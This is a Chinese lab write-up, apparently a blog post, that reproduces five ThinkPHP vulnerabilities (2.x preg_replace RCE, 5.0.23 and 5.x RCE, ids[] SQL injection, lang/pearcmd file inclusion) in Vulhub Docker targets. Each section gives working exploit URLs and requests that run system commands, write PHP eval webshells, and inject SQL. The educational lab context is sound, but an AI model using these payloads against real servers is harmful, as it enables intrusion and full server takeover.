当前位置: 首页 > news >正文

【vulhub】thinkphp漏洞系列

【vulhub】thinkphp漏洞系列

ThinkPHP是什么

ThinkPHP是一款免费开源、快速、简单且面向对象的轻量级PHP开发框架。它遵循MVC设计模式,内置了全功能ORM、模板引擎、路由、缓存、验证器等丰富组件,极大地简化了数据库操作和Web开发流程。ThinkPHP尤其适合快速构建中小型企业网站、API接口和后台管理系统,拥有庞大的开发者社区和丰富的学习资源。

一、2-rce 远程代码执行漏洞
1. 漏洞描述

ThinkPHP 2.x版本的RCE漏洞主要源于其路由匹配机制中对用户输入的不当处理。具体来说,该框架在使用preg_replace的/e模式匹配路由时,未对用户输入参数进行充分过滤,导致输入参数被直接插入双引号中执行,从而引发任意代码执行漏洞。

漏洞原理: ThinkPHP 2.x在处理路由时,通过preg_replace函数的/e模式进行正则匹配,用户输入的参数可能被直接注入到代码执行上下文中,导致攻击者可构造恶意输入执行任意代码。

preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

影响范围: 主要影响ThinkPHP 2.x版本,部分3.0版本(如Lite模式)因未修复该问题也可能受影响。

2. 环境启动

cd vulhub-master/thinkphp/5-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态

image

环境启动后,浏览器访问靶场,http://127.0.0.1:8080/ 或者 http://[ip]:8080/image

3. 漏洞验证与利用

构造payload:http://127.0.0.1:8080/?s=/Index/index/a/${@phpinfo()}image

写入一句话木马:

http://127.0.0.1:8080/?s=/Index/index/a/${@print(eval($_POST[cmd]))}

蚁剑连接:image

连接成功,添加数据:image

练习结束记得关闭靶场,避免端口被占用的情况sudo docker-compose down

二、5.0.23-rce 远程代码执行漏洞
1. 漏洞描述

漏洞原理:
由于框架对控制器名和请求方法的处理存在缺陷,攻击者可通过精心构造的URL或POST请求,绕过安全检测,调用框架内部的敏感函数(如system),从而执行任意PHP代码。

影响版本:
ThinkPHP 5.0系列 <= 5.0.23。

漏洞复现方法:

  • 访问目标站点的/index.php?s=captcha路径,若出现报错页面,表明可能存在漏洞。
  • 使用工具(如Burp Suite、Hackbar)发送POST请求,构造Payload:
    _method=__construct&filter[]=system&method=get&server[request_method]=<命令>
    (例如whoamiid等系统命令)。
  • 若成功执行命令,可进一步上传WebShell(需对代码进行Base64编码绕过过滤),实现对服务器的完全控制。

修复建议:

  • 升级ThinkPHP框架至5.0.24及以上版本。
  • 严格限制用户输入,加强服务器安全配置。
  • 定期进行安全扫描和漏洞检测。
2. 环境启动

cd vulhub-master/thinkphp/5-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态

image

环境启动后,浏览器访问靶场,http://127.0.0.1:8080/ 或者 http://[ip]:8080/image

3. 漏洞验证与利用

http://127.0.0.1:8080/index.php?s=captchaimage

法一:使用 HackBar 工具,发送POST请求,构造Payload:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoamiimage

法二:使用 Burpsuite 工具,发送POST请求,构造Payload:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoamiimage

漏洞利用,写入一句话木马:<?php @eval($_POST['cmd']);?>,先进行base64编码

image

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d >test.phpimage

访问 http://192.168.44.129:8080/test.php,上传成功,如果上传失败会回显 Not Foundimage

蚁剑连接成功:​image

image

或者直接上传一句话木马,不需要base64编码:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST[1])?>" >> 1.php

  • 此时需要特别注意的是,在linux中,以开头的将会被当成参数去除掉,所以我们需要在 前面加上个\。
  • 否则访问1.php时会报错:Parse error: syntax error, unexpected end of file, expecting '(' in /var/www/public/1.php(1) : eval()'d code on line 1

蚁剑连接成功image

练习结束记得关闭靶场,避免端口被占用的情况sudo docker-compose down

三、5-rce 远程代码执行漏洞
1. 漏洞描述

漏洞原理:

由于框架对控制器名未进行充分检测,攻击者可在未开启强制路由时执行任意方法,从而实现远程代码执行。

影响版本:

  • 5.0.x:5.0.0 ≤ ThinkPHP 5 ≤ 5.0.23
  • 5.1.x:5.1.0 ≤ ThinkPHP 5 ≤ 5.1.30

漏洞复现方法:

  1. 环境搭建
    进入Vulhub目录 thinkphp/5-rce,执行 docker-compose up -d 启动靶场,访问 http://<IP>:8080 确认环境搭建成功。

  2. 漏洞利用示例

    • 执行系统命令
      纯文本

      http://<IP>:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
      
    • 写入一句话木马
      纯文本

      http://<IP>:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST['cmd']); ?>" > shell.php
      
2. 环境启动

cd vulhub-master/thinkphp/5-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态

image

环境启动后,浏览器访问靶场,http://127.0.0.1:8080/ 或者 http://[ip]:8080/image

3. 漏洞验证与利用

phpinfo:
http://192.168.44.129:8080/index.php?s=/Index/\think\app/invokefunction&function=phpinfo&vars[0]=-1image

whoami:
http://192.168.44.129:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoamiimage

  • call_user_func_array 是 PHP 中的一个核心函数,用于动态调用回调函数(callback),并将参数以数组形式传递给该函数。
    mixed call_user_func_array(callable $callback, array$args)

    参数说明:
    `$callback`:要调用的回调函数,可以是以下形式:普通函数名(字符串):'function_name'对象方法:[$object, 'methodName']静态类方法:['ClassName', 'staticMethod']匿名函数(闭包):$closure类静态方法(PHP 7+):'ClassName::staticMethod'
    `$args`:索引数组,包含要传递给回调函数的参数。数组元素的顺序对应函数参数的顺序。
    

漏洞利用,写入一句话木马:

http://192.168.44.129:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "aa<?php @eval(\$_POST[cmd]);?>" >>shell.php
image

蚁剑测试连接成功:​image

image

练习结束记得关闭靶场,避免端口被占用的情况sudo docker-compose down

四、in-sqlinjection sql注入漏洞
1. 漏洞描述

漏洞原理:
在ThinkPHP的Builder类parsedata方法中,程序未对用户输入数据进行充分过滤,直接拼接进SQL语句,导致SQL注入漏洞。

影响版本:
ThinkPHP 5.0.13 ≤ 版本 ≤ 5.0.15
ThinkPHP 5.1.0 ≤ 版本 ≤ 5.1.5

复现方法:
环境搭建:进入Vulhub对应目录,执行docker-compose up -d启动靶场。
攻击示例:通过构造恶意请求触发漏洞,例如:
http://目标IP/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
此请求会尝试拼接SQL语句,若漏洞存在,将返回包含数据库用户信息的错误提示。

2. 环境启动

cd vulhub-master/thinkphp/5-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态

image

环境启动后,浏览器访问靶场,http://127.0.0.1:80/ 或者 http://[ip]:80/image

3. 漏洞验证与利用

构造payload爆出用户名和密码:
/index.php?ids[]=1&ids[]=2image

报错注入,若漏洞存在,则返回包含数据库用户信息的错误提示image

练习结束记得关闭靶场,避免端口被占用的情况sudo docker-compose down

五、lang-rce 多语言本地文件包含漏洞
1. 漏洞描述

漏洞原理:
thinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。通过 get、header、cookie 等位置传入参数实现目录穿越和文件包含,从而利用 pearcmd 文件包含实现远程命令执行通过构造特定的 URL,可以实现目录穿越和文件包含,然后利用 pearcmd 文件包含实现远程命令执行。

虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件

影响版本:
ThinkPHP 5.0.0 - 5.0.12
ThinkPHP 5.1.0 - 5.1.8
ThinkPHP 6.0.0 - 6.0.13

漏洞利用条件:
服务器需安装pear组件。
PHP环境需开启register_argc_argv。

复现步骤:
环境搭建:通过Vulhub拉取镜像并启动容器,访问http://:8080确认环境正常。
漏洞利用:构造包含恶意lang参数的请求,例如:
GET /?s=index/index&lang=../../../../../../../../../../usr/local/lib/php/pearcmd&/<?php phpinfo();?>
若服务器返回phpinfo()内容,表明漏洞利用成功。

2. 环境启动

cd vulhub-master/thinkphp/5-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态

image

环境启动后,浏览器访问靶场,http://127.0.0.1:8080/ 或者 http://[ip]:8080/image

3. 漏洞验证与利用

ThinkPHP多语言特性不是默认开启的,所以我们可以尝试包含public/index.php文件来确认文件包含漏洞是否存在:
/?lang=../../../../../public/indeximage返回500页面,服务器出错,说明漏洞存在

利用Burpsuite抓包,写入shell.php文件,poc如下:https://github.com/vulhub/vulhub/blob/master/thinkphp/lang-rce/README.zh-cn.md

GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=0

发包,服务器返回pearcmd的命令行执行结果,漏洞利用成功image

访问:http://192.168.44.129:8080/shell.phpimage

漏洞利用,修改poc传入木马:
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();@eval($_POST[cmd]);?>+shell.phpimage

访问:http://192.168.44.129:8080/shell.php

蚁剑连接成功:imageimage

练习结束记得关闭靶场,避免端口被占用的情况sudo docker-compose down

http://www.xdnf.cn/news/1443709.html

相关文章:

  • Java设计模式之结构型—适配器模式
  • 需求调研的核心目标
  • 并发编程——14 线程池参数动态化
  • 前端自动化打包服务器无法安装高版本 Node.js v22 问题解决
  • 京东商品评论API接口概述,json数据返回
  • 51单片机:发光二极管与动态数码管控制
  • 迅为RK3568开发板体验OpenHarmony—烧写镜像-安装驱动
  • dumpsys alarm 简介
  • 关于kafka:consumer_offsets日志不能自动清理,设置自动清理规则
  • Trae x Vizro:低代码构建专业数据可视化仪表板的高效方案
  • 小迪web自用笔记25
  • 年成本下降超80%,银行数据治理与自动化应用实录
  • DS1202示波器的使用教程笔记
  • 【C++八股文】数据结构篇
  • 【Python-Day 42】解锁文本处理神技:Python 正则表达式 (Regex) 从入门到实战
  • FPGA离群值剔除算法
  • wpf 自定义输入ip地址的文本框
  • Linux之shell-awk命令详解
  • Jenkins 可观测最佳实践
  • Jenkins和Fastlane的原理、优缺点、用法、如何选择
  • 记录一下node后端写下载https的文件报错,而浏览器却可以下载。
  • nginx配置端口转发(docker-compose方式、包括TCP转发和http转发)
  • C++ 面试高频考点 力扣 162. 寻找峰值 二分查找 题解 每日一题
  • Apache Kafka:现代数据高速公路的设计哲学
  • 嵌入式硬件 - 51单片机2
  • (11)用于无GPS导航的制图师SLAM(二)
  • AI产品经理面试宝典第84天:RAG系统架构设计与优化策略面试指南
  • C#工作流示例(WorkflowCore)
  • 基于Docker和Kubernetes的CI/CD流水线架构设计与优化实践
  • Go语言实战案例-Redis实现用户登录次数限制